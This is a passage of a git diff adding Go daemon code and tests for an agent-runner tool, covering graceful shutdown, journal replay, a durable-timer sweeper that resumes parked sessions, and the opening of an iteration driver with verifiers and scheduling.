hosted run and ListenAndServe returns only AFTER the runs finished their +// terminal work — a routine deploy leaves zero in-doubt sessions. +func TestDaemonGracefulShutdownWaitsForRuns(t *testing.T) { + var settled atomic.Bool + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + <-ctx.Done() + // Simulate the abort epilogue journaling terminal events. + time.Sleep(50 * time.Millisecond) + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "canceled"}) + settled.Store(true) + return ctx.Err() + } + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + srv := &Server{ + SocketPath: sock, Run: run, + NewID: func(string) string { return "sess-g" }, + } + served := make(chan error, 1) + go func() { served <- srv.ListenAndServe(ctx) }() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if err := Dial(sock, Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + break + } + time.Sleep(5 * time.Millisecond) + } + + // Park a hosted run, then pull the plug. + go func() { + _ = Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "long"}, func(protocol.Event) {}) + }() + time.Sleep(50 * time.Millisecond) // let the run register + cancel() + + select { + case err := <-served: + if err != nil { + t.Fatalf("shutdown: %v", err) + } + case <-time.After(5 * time.Second): + t.Fatal("daemon did not shut down") + } + if !settled.Load() { + t.Fatal("daemon exited before the hosted run finished its terminal work") + } +} + +// Lifecycle events tee to the Notify hook exactly as emitted; ordinary +// events do not. +func TestDaemonNotifyTee(t *testing.T) { + var mu sync.Mutex + var teed []protocol.Event + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: 1}) + sink.Emit(protocol.Event{Kind: protocol.KindApprovalRequest, ApprovalID: "apr-7", Tool: "bash"}) + sink.Emit(protocol.Event{Kind: protocol.KindIteration, Turn: 2, Text: "iteration 2 completed"}) + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + srv := &Server{ + SocketPath: sock, Run: run, + NewID: func(string) string { return "sess-n" }, + Notify: func(e protocol.Event) { + mu.Lock() + teed = append(teed, e) + mu.Unlock() + }, + } + go func() { _ = srv.ListenAndServe(ctx) }() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if err := Dial(sock, Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + break + } + time.Sleep(5 * time.Millisecond) + } + if err := Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job"}, func(protocol.Event) {}); err != nil { + t.Fatal(err) + } + mu.Lock() + defer mu.Unlock() + if len(teed) != 3 { + t.Fatalf("teed = %+v, want approval_request + iteration + run_end only", teed) + } + if teed[0].ApprovalID != "apr-7" || teed[0].Session != "sess-n" { + t.Errorf("tee[0] = %+v", teed[0]) + } + if teed[1].Kind != protocol.KindIteration || teed[1].Turn != 2 { + t.Errorf("tee[1] = %+v", teed[1]) + } + if teed[2].Kind != protocol.KindRunEnd { + t.Errorf("tee[2] = %+v", teed[2]) + } +} + +// S6 review P1: a client that connects and never sends (or never reads) +// must not wedge graceful shutdown — the daemon closes lingering +// connections after the runs settle. +func TestDaemonShutdownWithHungClient(t *testing.T) { + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + srv := &Server{SocketPath: sock, NewID: func(string) string { return "x" }} + served := make(chan error, 1) + go func() { served <- srv.ListenAndServe(ctx) }() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if err := Dial(sock, Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + break + } + time.Sleep(5 * time.Millisecond) + } + + // A rude client: connects, sends nothing, never hangs up. + hung, err := net.Dial("unix", sock) + if err != nil { + t.Fatal(err) + } + defer func() { _ = hung.Close() }() + time.Sleep(50 * time.Millisecond) // let serveConn park in Scan + + cancel() + select { + case err := <-served: + if err != nil { + t.Fatalf("shutdown: %v", err) + } + case <-time.After(5 * time.Second): + t.Fatal("graceful shutdown wedged on the hung connection") + } +} + +// An idempotent resubmission (same idem_key) attaches to the FIRST +// submission's session instead of minting a duplicate run. +func TestDaemonSubmitIdempotency(t *testing.T) { + var mu sync.Mutex + launches := 0 + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + mu.Lock() + launches++ + mu.Unlock() + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + replay := func(id string, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + sock, _ := startServer(t, run, replay) + + var first []protocol.Event + if err := Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job", IdemKey: "k-1"}, + func(e protocol.Event) { first = append(first, e) }); err != nil { + t.Fatal(err) + } + session := first[0].Session + + // Retry with the same key: no second launch; the stream carries the + // SAME session (served from replay, the run being finished). + var retry []protocol.Event + if err := Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job", IdemKey: "k-1"}, + func(e protocol.Event) { retry = append(retry, e) }); err != nil { + t.Fatal(err) + } + mu.Lock() + if launches != 1 { + mu.Unlock() + t.Fatalf("launches = %d, want 1 (retry must not duplicate)", launches) + } + mu.Unlock() + if len(retry) == 0 || retry[0].Session != session { + t.Fatalf("retry stream = %+v, want session %s", retry, session) + } + + // A DIFFERENT key launches fresh. + if err := Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job", IdemKey: "k-2"}, + func(protocol.Event) {}); err != nil { + t.Fatal(err) + } + mu.Lock() + defer mu.Unlock() + if launches != 2 { + t.Fatalf("launches = %d, want 2", launches) + } +} + +// S7 还债: the idem index survives a daemon restart — a retry against the +// NEW daemon still finds the old session (served from replay). +func TestDaemonIdemPersistsAcrossRestart(t *testing.T) { + dir := t.TempDir() + idemPath := filepath.Join(dir, "idem.json") + var mu sync.Mutex + launches := 0 + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + mu.Lock() + launches++ + mu.Unlock() + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + replay := func(id string, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + + // Daemon #1: submit with a key, then shut down. + sock1 := filepath.Join(dir, "d1.sock") + ctx1, cancel1 := context.WithCancel(context.Background()) + srv1 := &Server{SocketPath: sock1, Run: run, Replay: replay, IdemPath: idemPath, + NewID: func(string) string { return "sess-persist" }} + done1 := make(chan error, 1) + go func() { done1 <- srv1.ListenAndServe(ctx1) }() + waitDial(t, sock1) + var first []protocol.Event + if err := Dial(sock1, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job", IdemKey: "k-persist"}, + func(e protocol.Event) { first = append(first, e) }); err != nil { + t.Fatal(err) + } + cancel1() + <-done1 + + // Daemon #2 on a fresh socket, same IdemPath: the retry reattaches. + sock2 := filepath.Join(dir, "d2.sock") + ctx2, cancel2 := context.WithCancel(context.Background()) + srv2 := &Server{SocketPath: sock2, Run: run, Replay: replay, IdemPath: idemPath, + NewID: func(string) string { return "sess-should-not-exist" }} + done2 := make(chan error, 1) + go func() { done2 <- srv2.ListenAndServe(ctx2) }() + defer func() { cancel2(); <-done2 }() + waitDial(t, sock2) + + var retry []protocol.Event + if err := Dial(sock2, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job", IdemKey: "k-persist"}, + func(e protocol.Event) { retry = append(retry, e) }); err != nil { + t.Fatal(err) + } + mu.Lock() + defer mu.Unlock() + if launches != 1 { + t.Fatalf("launches = %d, want 1 (restart must not duplicate the run)", launches) + } + if len(retry) == 0 || retry[0].Session != "sess-persist" { + t.Fatalf("retry = %+v, want the persisted session", retry) + } +} + +// waitDial polls until the daemon accepts connections. +func waitDial(t *testing.T, sock string) { + t.Helper() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if err := Dial(sock, Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + return + } + time.Sleep(5 * time.Millisecond) + } + t.Fatal("daemon never came up") +} + +// Two daemons must not share a socket; a stale socket file is reclaimed. +func TestDaemonSocketExclusive(t *testing.T) { + sock, _ := startServer(t, nil, nil) + second := &Server{SocketPath: sock, NewID: func(string) string { return "x" }} + err := second.ListenAndServe(context.Background()) + if err == nil { + t.Fatal("second daemon on the same live socket must fail") + } +} diff --git a/internal/daemon/replay.go b/internal/daemon/replay.go new file mode 100644 index 0000000..7ac619b --- /dev/null +++ b/internal/daemon/replay.go @@ -0,0 +1,103 @@ +package daemon + +import ( + "bytes" + "encoding/json" + "fmt" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/store" +) + +// ReplayJournal renders a session's journal as the output-event stream a +// live watcher would have seen (attach 补读). The journal is the durable +// truth; this is a pure projection of it — ephemeral kinds that never reach +// the journal (text deltas, discarded partial streams) are simply absent. +func ReplayJournal(sessionDir string, sink protocol.Sink) error { + events, err := store.ReadEvents(sessionDir) + if err != nil { + return err + } + turn := 0 + // Tool-call metadata for pairing results back to their names. + toolByActivity := map[string]event.ActivityStarted{} + for _, env := range events { + decoded, err := event.DecodePayload(env) + if err != nil { + return err + } + switch p := decoded.(type) { + case *event.RunStarted: + sink.Emit(protocol.Event{Kind: protocol.KindRunStart}) + case *event.TurnStarted: + turn = p.Turn + sink.Emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: p.Turn}) + case *event.AssistantMessage: + for _, part := range p.Message.Parts { + switch part.Kind { + case provider.PartText: + if part.Text != "" { + sink.Emit(protocol.Event{Kind: protocol.KindMessage, Turn: p.Turn, Text: part.Text}) + } + case provider.PartToolCall: + sink.Emit(protocol.Event{Kind: protocol.KindToolCall, Turn: p.Turn, + Tool: part.ToolName, CallID: part.CallID, Args: compactJSON(part.Args)}) + } + } + case *event.ActivityStarted: + if p.Kind == event.KindTool { + toolByActivity[p.ActivityID] = *p + } + case *event.ActivityCompleted: + if started, ok := toolByActivity[p.ActivityID]; ok { + sink.Emit(protocol.Event{Kind: protocol.KindToolResult, Turn: turn, + Tool: started.Name, CallID: started.CallID, + Result: compactJSON(p.Result), IsError: p.IsError}) + } + case *event.ActivityFailed: + if started, ok := toolByActivity[p.ActivityID]; ok && p.Final { + sink.Emit(protocol.Event{Kind: protocol.KindToolResult, Turn: turn, + Tool: started.Name, CallID: started.CallID, + Result: p.Error.Message, IsError: true}) + } + case *event.ActivityCancelled: + if started, ok := toolByActivity[p.ActivityID]; ok { + sink.Emit(protocol.Event{Kind: protocol.KindToolResult, Turn: turn, + Tool: started.Name, CallID: started.CallID, + Result: "canceled", IsError: true}) + } + case *event.ModeChanged: + sink.Emit(protocol.Event{Kind: protocol.KindModeChanged, Mode: p.To}) + case *event.ApprovalRequested: + sink.Emit(protocol.Event{Kind: protocol.KindApprovalRequest, Turn: turn, + CallID: p.CallID}) + case *event.TurnDiscarded: + sink.Emit(protocol.Event{Kind: protocol.KindDiscard, Turn: p.Turn, Text: p.Reason}) + case *event.RunEnded: + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Turn: p.Turns, Reason: p.Reason}) + // Driver streams (S6): iteration terminals and the series ending + // project the same way the live tee emits them. + case *event.IterationCompleted: + sink.Emit(protocol.Event{Kind: protocol.KindIteration, Turn: p.Iter, Reason: p.ChildReason, + Text: fmt.Sprintf("iteration %d %s (pass=%v score=%g)", + p.Iter, p.ChildReason, p.Verdict.Pass, p.Verdict.Score)}) + case *event.DriverCompleted: + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Turn: p.Iterations, Reason: p.Reason}) + } + } + return nil +} + +// compactJSON renders raw JSON on one line (mirrors the live emit path). +func compactJSON(raw []byte) string { + if len(raw) == 0 { + return "" + } + var buf bytes.Buffer + if err := json.Compact(&buf, raw); err != nil { + return string(raw) + } + return buf.String() +} diff --git a/internal/daemon/timers.go b/internal/daemon/timers.go new file mode 100644 index 0000000..bfa8b59 --- /dev/null +++ b/internal/daemon/timers.go @@ -0,0 +1,100 @@ +package daemon + +import ( + "context" + "log/slog" + "time" + + "github.com/ralphite/agentrunner/internal/protocol" +) + +// SessionTimer is one parked session's earliest pending timer, as derived +// from its journal (timer 派生索引 — the journal is the truth, this is a +// projection recomputed on every sweep). +type SessionTimer struct { + SessionID string + FireAt time.Time +} + +// sweepMaxInterval bounds how long the sweeper sleeps even with no known +// deadline: sessions parked by OTHER processes appear at the next rescan. +const sweepMaxInterval = time.Minute + +// sweepTimers is the daemon's durable-timer trigger (S6 模块④, DESIGN: +// daemon 是 durable timer 的触发者): scan the parked sessions' pending +// timers, host a Resume for every expired one (the resume path itself +// journals TimerFired — 2.13's sweep), and sleep until the earliest future +// deadline or the rescan interval, whichever is sooner. +func (s *Server) sweepTimers(ctx context.Context) { + for { + entries, err := s.ScanTimers() + if err != nil { + slog.Warn("daemon: timer scan failed", "err", err) + } + now := s.Clock.Now() + next := now.Add(sweepMaxInterval) + for _, e := range entries { + if s.resumeFailed(e.SessionID) { + continue + } + if !e.FireAt.After(now) { + s.hostResume(ctx, e.SessionID) + } else if e.FireAt.Before(next) { + next = e.FireAt + } + } + if err := s.Clock.WaitUntil(ctx, next); err != nil { + return // daemon shutting down + } + } +} + +// resumeFailed reports whether an earlier timer-driven resume of this +// session errored — such sessions are skipped until the daemon restarts: an +// in-doubt session needs a human (inspect / events), and hammering it every +// sweep helps nobody. +func (s *Server) resumeFailed(id string) bool { + s.mu.Lock() + defer s.mu.Unlock() + return s.failed[id] +} + +func (s *Server) markResumeFailed(id string) { + s.mu.Lock() + defer s.mu.Unlock() + if s.failed == nil { + s.failed = map[string]bool{} + } + s.failed[id] = true +} + +// hostResume hosts a session resume exactly like a submitted run: same hub, +// same runsWG, attach-able under the session id. A session already hosted +// (still running, or resumed by an earlier sweep) is left alone. +func (s *Server) hostResume(ctx context.Context, id string) { + s.mu.Lock() + if s.stopping || s.runs[id] != nil { + s.mu.Unlock() + return + } + hub := &hostedRun{id: id, notify: s.Notify, subs: map[chan protocol.Event]struct{}{}} + s.runs[id] = hub + s.runsWG.Add(1) + s.mu.Unlock() + + slog.Info("daemon: timer expired, resuming session", "session", id) + go func() { + defer s.runsWG.Done() + defer func() { + s.mu.Lock() + delete(s.runs, id) + s.mu.Unlock() + }() + defer hub.finish() + if err := s.Resume(ctx, id, hub); err != nil { + slog.Warn("daemon: timer-driven resume failed", "session", id, "err", err) + s.markResumeFailed(id) + hub.Emit(protocol.Event{Kind: protocol.KindError, Text: "resume failed: " + err.Error()}) + } + }() +} diff --git a/internal/daemon/timers_test.go b/internal/daemon/timers_test.go new file mode 100644 index 0000000..2386c68 --- /dev/null +++ b/internal/daemon/timers_test.go @@ -0,0 +1,151 @@ +package daemon + +import ( + "context" + "errors" + "path/filepath" + "sync" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/protocol" +) + +// timerHarness starts a server whose sweeper sees the given index; resumed +// session ids land on the resumed channel. +func timerHarness(t *testing.T, clk *clock.Fake, scan func() ([]SessionTimer, error), + resume func(ctx context.Context, id string, sink protocol.Sink) error) *Server { + t.Helper() + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + srv := &Server{ + SocketPath: sock, Clock: clk, + NewID: func(string) string { return "x" }, + ScanTimers: scan, + Resume: resume, + } + done := make(chan error, 1) + go func() { done <- srv.ListenAndServe(ctx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(5 * time.Second): + t.Error("server did not stop") + } + }) + // The sweeper parks on the fake clock once it has swept. + deadline := time.Now().Add(5 * time.Second) + for clk.Waiters() == 0 && time.Now().Before(deadline) { + time.Sleep(2 * time.Millisecond) + } + if clk.Waiters() == 0 { + t.Fatal("sweeper never parked on the clock") + } + return srv +} + +// An expired timer triggers exactly ONE hosted resume; a future timer fires +// after the clock reaches it. +func TestTimerSweepResumesExpired(t *testing.T) { + start := time.Date(2026, 7, 4, 9, 0, 0, 0, time.UTC) + clk := clock.NewFake(start) + var mu sync.Mutex + resumed := map[string]int{} + release := make(chan struct{}) + resume := func(ctx context.Context, id string, sink protocol.Sink) error { + mu.Lock() + resumed[id]++ + mu.Unlock() + <-release // stay "hosted" so re-sweeps must skip it + return nil + } + scan := func() ([]SessionTimer, error) { + return []SessionTimer{ + {SessionID: "past", FireAt: start.Add(-time.Minute)}, + {SessionID: "future", FireAt: start.Add(30 * time.Second)}, + }, nil + } + timerHarness(t, clk, scan, resume) + + // First sweep: "past" resumes immediately; "future" not yet. + waitFor(t, func() bool { mu.Lock(); defer mu.Unlock(); return resumed["past"] == 1 }) + mu.Lock() + if resumed["future"] != 0 { + mu.Unlock() + t.Fatal("future timer fired early") + } + mu.Unlock() + + // Advance past the future deadline: the sweeper wakes and resumes it. + clk.Advance(31 * time.Second) + waitFor(t, func() bool { mu.Lock(); defer mu.Unlock(); return resumed["future"] == 1 }) + + // Let more sweeps happen: still-hosted sessions are not double-resumed. + waitParkedD(t, clk) + clk.Advance(2 * sweepMaxInterval) + waitParkedD(t, clk) + mu.Lock() + if resumed["past"] != 1 || resumed["future"] != 1 { + t.Fatalf("double resume: %v", resumed) + } + mu.Unlock() + close(release) +} + +// A resume that errors is not retried on later sweeps (needs a human). +func TestTimerSweepDoesNotRetryFailedResume(t *testing.T) { + start := time.Date(2026, 7, 4, 9, 0, 0, 0, time.UTC) + clk := clock.NewFake(start) + var mu sync.Mutex + attempts := 0 + resume := func(ctx context.Context, id string, sink protocol.Sink) error { + mu.Lock() + attempts++ + mu.Unlock() + return errors.New("in doubt") + } + scan := func() ([]SessionTimer, error) { + return []SessionTimer{{SessionID: "stuck", FireAt: start.Add(-time.Minute)}}, nil + } + timerHarness(t, clk, scan, resume) + + waitFor(t, func() bool { mu.Lock(); defer mu.Unlock(); return attempts == 1 }) + // Several more sweep rounds: no further attempts. + for i := 0; i < 3; i++ { + waitParkedD(t, clk) + clk.Advance(sweepMaxInterval + time.Second) + } + waitParkedD(t, clk) + mu.Lock() + if attempts != 1 { + t.Fatalf("failed resume retried: attempts = %d", attempts) + } + mu.Unlock() +} + +func waitFor(t *testing.T, cond func() bool) { + t.Helper() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if cond() { + return + } + time.Sleep(2 * time.Millisecond) + } + t.Fatal("condition never became true") +} + +// waitParkedD waits until the sweeper is parked on the fake clock again. +func waitParkedD(t *testing.T, clk *clock.Fake) { + t.Helper() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if clk.Waiters() > 0 { + return + } + time.Sleep(2 * time.Millisecond) + } + t.Fatal("sweeper never re-parked") +} diff --git a/internal/driver/driver.go b/internal/driver/driver.go new file mode 100644 index 0000000..0d2c9ac --- /dev/null +++ b/internal/driver/driver.go @@ -0,0 +1,1160 @@ +package driver + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + "os" + "path/filepath" + "regexp" + "slices" + "strconv" + "strings" + "time" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/cron" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/redact" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" +) + +// carryExcerptBytes caps the inline carry kept in IterationCompleted; the +// full carry doc (later) lives in the ArtifactStore behind CarryRef. +const carryExcerptBytes = 512 + +// ChildFactory builds the fresh child run for one iteration. The driver owns +// the journal-before-send facts and the child's store (opened under sub/); +// the factory owns wiring — provider, pipeline, budget, workspace — so the +// same driver logic drives a scripted test child and a live-provider child. +// A fresh child per iteration is the DESIGN doctrine: same spec → byte-stable +// prefix, no compaction chain, failure isolation. budgetTokens is the +// min-aggregated allowance the factory must cap the child at (0 = unlimited). +type ChildFactory func(childStore *store.EventStore, childSession string, iter, budgetTokens int) *agent.Loop + +// Driver is the IterationDriver actor. It has its own journal and pure fold; +// each iteration spawns a fresh child run and verifies its result. +type Driver struct { + Spec *DriverSpec + Store *store.EventStore + Clock clock.Clock + DriverID string + // Exec runs command verifiers against the (child-shared) workspace. The + // driver never edits the workspace; a verifier is an adjudicable effect + // that only reads/tests it. + Exec *tool.Executor + NewChild ChildFactory + // Judge is the LLM behind llm_judge verifiers (a single scoring call per + // iteration, not an agent loop). nil → an llm_judge verifier fails + // model-visibly rather than silently passing. + Judge provider.Provider + // Approvals resolves human verifiers via the same ask path the agent + // loop uses. nil → EnvApprovals (fail-closed when unset). + Approvals agent.ApprovalResolver + // Artifacts is the deliverable CAS (S5.5) the carry docs land in: each + // completed iteration's full report is published to the "carry" stream + // and IterationCompleted keeps only the ref + a short excerpt (DESIGN). + // nil → carry stays inline-only. + Artifacts *store.ArtifactStore + // Out receives the driver's LIFECYCLE as output events (S6 模块⑤): + // iteration completions and the terminal — what a hosting surface tees + // to watchers and the notifier. nil = silent (journal stays the truth). + Out protocol.Sink + // Pipeline adjudicates verifier effects (S7 还债①: verifier 过四关卡, + // 收回 S6 的直连例外): a command verifier is a tool_call effect, a + // judge an llm_call. The CLI builds it with the merged user/project + // rules ahead of a trailing driver-trust allow — explicit user denies + // bind, config-declared verifiers otherwise run. nil = allow-all. + Pipeline *pipeline.Pipeline + + // Loop-mode cadence runtime state (never fold state: cron ticks are + // absolute wall times, recomputable from the clock; the self_paced pace + // re-derives from the last child journal). + cronSched *cron.Schedule + lastTick time.Time + nextPace time.Duration +} + +// Result summarizes a finished driver run. +type Result struct { + Reason string + Iterations int + BestIter int +} + +// appendFunc journals one driver-stream fact and folds it into the in-memory +// state — the single write path, mirroring the run loop's appender. +type appendFunc func(typ string, payload any) (event.Envelope, error) + +// emit sends a lifecycle output event (nil-safe). +func (d *Driver) emit(e protocol.Event) { + if d.Out != nil { + d.Out.Emit(e) + } +} + +// prepare validates the spec and builds the single write path over st (the +// folded in-memory state). Shared by Run (fresh state) and Resume (folded). +func (d *Driver) prepare(st *State) (appendFunc, error) { + if d.Clock == nil { + d.Clock = clock.Real{} + } + switch d.Spec.schedule() { + case ScheduleImmediate: + // Goal mode: a verifier is what decides "done". + if len(d.Spec.Verifiers) == 0 { + return nil, fmt.Errorf("driver: goal mode requires at least one verifier") + } + case ScheduleInterval: + // Loop mode: verifiers are optional; the cadence must parse. + if _, err := d.Spec.interval(); err != nil { + return nil, fmt.Errorf("driver: bad interval %q: %w", d.Spec.Interval, err) + } + case ScheduleCron: + sched, err := cron.Parse(d.Spec.Cron) + if err != nil { + return nil, fmt.Errorf("driver: %w", err) + } + d.cronSched = sched + case ScheduleSelfPaced: + if _, _, err := d.Spec.paceBounds(); err != nil { + return nil, fmt.Errorf("driver: %w", err) + } + switch d.Spec.OnNoIntent { + case "", NoIntentFinish: + case NoIntentContinue: + if d.Spec.PaceMin == "" { + return nil, fmt.Errorf("driver: on_no_intent=continue requires pace_min — a forgetful child must not spin the series") + } + default: + return nil, fmt.Errorf("driver: on_no_intent %q unknown (known: finish, continue)", d.Spec.OnNoIntent) + } + // The child paces the series: put the pace tools on its face. + if d.Spec.Agent != nil { + for _, name := range []string{"schedule_next", "finish_series"} { + if !slices.Contains(d.Spec.Agent.Tools, name) { + d.Spec.Agent.Tools = append(d.Spec.Agent.Tools, name) + } + } + } + default: + return nil, fmt.Errorf("driver: schedule %q not implemented", d.Spec.Schedule) + } + switch d.Spec.Overlap { + case "", OverlapSkip, OverlapCoalesce: + default: + return nil, fmt.Errorf("driver: overlap %q unknown (known: skip, coalesce)", d.Spec.Overlap) + } + if d.NewChild == nil { + return nil, fmt.Errorf("driver: NewChild factory is required") + } + appendE := func(typ string, payload any) (event.Envelope, error) { + env, err := event.New(typ, payload) + if err != nil { + return env, err + } + env.CorrelationID = d.DriverID + appended, err := d.Store.Append(env) + if err != nil { + return appended, err + } + st.apply(payload) + // Lifecycle tee (S6 模块⑤): the single write path is the one place + // every journal site passes through, so watchers and the notifier + // see EVERY iteration terminal and the driver's ending — including + // the failure and cancel paths. + switch p := payload.(type) { + case *event.IterationCompleted: + d.emit(protocol.Event{Kind: protocol.KindIteration, Turn: p.Iter, + Reason: p.ChildReason, + Text: fmt.Sprintf("iteration %d %s (pass=%v score=%g)", + p.Iter, p.ChildReason, p.Verdict.Pass, p.Verdict.Score)}) + case *event.DriverCompleted: + d.emit(protocol.Event{Kind: protocol.KindRunEnd, Turn: p.Iterations, Reason: p.Reason}) + } + return appended, nil + } + return appendE, nil +} + +// Run drives goal mode from scratch to a terminal DriverCompleted. Loop mode +// (schedules other than immediate) is not yet implemented and is refused. +func (d *Driver) Run(ctx context.Context) (Result, error) { + st := &State{Status: StatusRunning, DriverID: d.DriverID} + appendE, err := d.prepare(st) + if err != nil { + return Result{}, err + } + // The stream header (S7 还债): spec + fold version guard every resume, + // and the spec provenance makes a future spec-less resume possible + // (mirrors RunStarted 2.17). Redacted like every persisted payload. + specJSON, _ := json.Marshal(d.Spec) + wsRoot := "" + if d.Exec != nil && d.Exec.WS != nil { + wsRoot = d.Exec.WS.Root() + } + if _, err := appendE(event.TypeDriverStarted, &event.DriverStarted{ + DriverID: d.DriverID, SpecName: d.Spec.Name, + Spec: redact.FromEnv().JSON(specJSON), WorkspaceRoot: wsRoot, + FoldVersion: FoldVersion, + }); err != nil { + return Result{}, err + } + return d.drive(ctx, st, appendE, 1) +} + +// Resume rebuilds the driver fold from its journal and continues — an ended +// driver returns its recorded result; otherwise the drive loop picks up at the +// first not-yet-completed iteration, and runIteration recovers any in-flight +// child (resume it, or settle it from its own terminal fold). +func (d *Driver) Resume(ctx context.Context) (Result, error) { + events, err := store.ReadEvents(d.Store.Dir()) + if err != nil { + return Result{}, err + } + folded, err := Fold(events) + if err != nil { + return Result{}, err + } + // Version discipline: a header carrying a different fold version refuses + // the resume (never silently migrated); a headerless S6 stream is v1. + if len(events) > 0 && events[0].Type == event.TypeDriverStarted { + if decoded, derr := event.DecodePayload(events[0]); derr == nil { + if started := decoded.(*event.DriverStarted); started.FoldVersion != FoldVersion { + return Result{}, fmt.Errorf("driver resume: stream fold version %d does not match binary version %d", + started.FoldVersion, FoldVersion) + } + } + } + st := &folded + st.DriverID = d.DriverID + appendE, err := d.prepare(st) + if err != nil { + return Result{}, err + } + if st.Status == StatusEnded { + return Result{Reason: st.Reason, Iterations: len(st.Iterations), BestIter: st.BestIter}, nil + } + // A crash can land between a terminal-deciding IterationCompleted and the + // DriverCompleted that records it. Re-derive that decision from the fold + // so resume does not launch a redundant iteration — GOAL MODE ONLY: in + // loop mode a passing verdict is a quality gate, never a terminal, and + // re-deriving it here would kill a healthy series on every restart + // (S6 review P0). max_iterations and budget re-check at the top of + // drive(), so only satisfied/stalled need re-deriving. + if d.Spec.schedule() == ScheduleImmediate { + if last, ok := st.lastCompleted(); ok { + if last.Verdict.Pass { + return d.finish(appendE, st, "satisfied", last.N) + } + if d.stalled(st) { + return d.finish(appendE, st, "stalled", last.N) + } + } + } + // Completed AND skipped iterations are consumed slots; resume at the + // first untouched number — re-running a skipped iteration would violate + // the overlap policy across the crash (S6 review). + startN := 1 + for i := range st.Iterations { + if st.Iterations[i].Completed || st.Iterations[i].Skipped { + startN = st.Iterations[i].N + 1 + } + } + // self_paced: the pace the last child declared must survive the restart + // (the field comment promises re-derivation; S6 review). A declared + // finish was either approved (driver ended) or denied (floor pace). + if d.Spec.schedule() == ScheduleSelfPaced && startN > 1 { + if last, ok := st.lastCompleted(); ok { + floor, ceil, _ := d.Spec.paceBounds() + intent := childIntent(filepath.Join(d.Store.Dir(), "sub", iterDir(last.N, 1))) + switch { + case intent.has && !intent.finish: + d.nextPace = clampPace(intent.after, floor, ceil) + default: + d.nextPace = floor + } + } + } + return d.drive(ctx, st, appendE, startN) +} + +// drive is the goal loop shared by Run and Resume. On resume it does not +// re-journal an iteration's Scheduled/Launched facts that the fold already +// holds — the write path stays append-only and idempotent across a crash. +func (d *Driver) drive(ctx context.Context, st *State, appendE appendFunc, startN int) (Result, error) { + loopMode := d.Spec.schedule() != ScheduleImmediate + maxIter := d.Spec.maxIterations() + for n := startN; ; n++ { + if err := ctx.Err(); err != nil { + return d.finish(appendE, st, "stopped", n-1) + } + if n > maxIter { + slog.Warn("driver hit max_iterations", "driver", d.DriverID, "max", maxIter) + return d.finish(appendE, st, "max_iterations", maxIter) + } + // Loop-mode cadence: interval fires iteration 1 now and fixed-delays + // the rest; cron waits for each absolute tick, applying the overlap + // policy to ticks the previous iteration ran past. A cancel during + // the wait ends the series. + if loopMode { + // "first" means the SERIES' first iteration, not the first after + // a resume: a restart must respect the pace/tick, not fire early. + run, terr := d.awaitTick(ctx, appendE, n, n == 1) + if terr != nil { + if ctx.Err() != nil { + return d.finish(appendE, st, "stopped", n-1) + } + return Result{}, terr + } + if !run { + continue // overlap=skip consumed n as a skipped iteration + } + } + // Reserve-at-launch against the tree budget (DESIGN: the driver is the + // budget root). A goal that has spent its whole allowance ends as + // budget rather than launching a child that can do no useful work. + allowance, ok := d.reserve(st) + if !ok { + slog.Warn("driver budget exhausted", "driver", d.DriverID, "spent", st.SpentTokens) + return d.finish(appendE, st, "budget", n-1) + } + session := fmt.Sprintf("%s-iter-%d", d.DriverID, n) + if _, inFold := st.at(n); !inFold { + if _, err := appendE(event.TypeIterationScheduled, 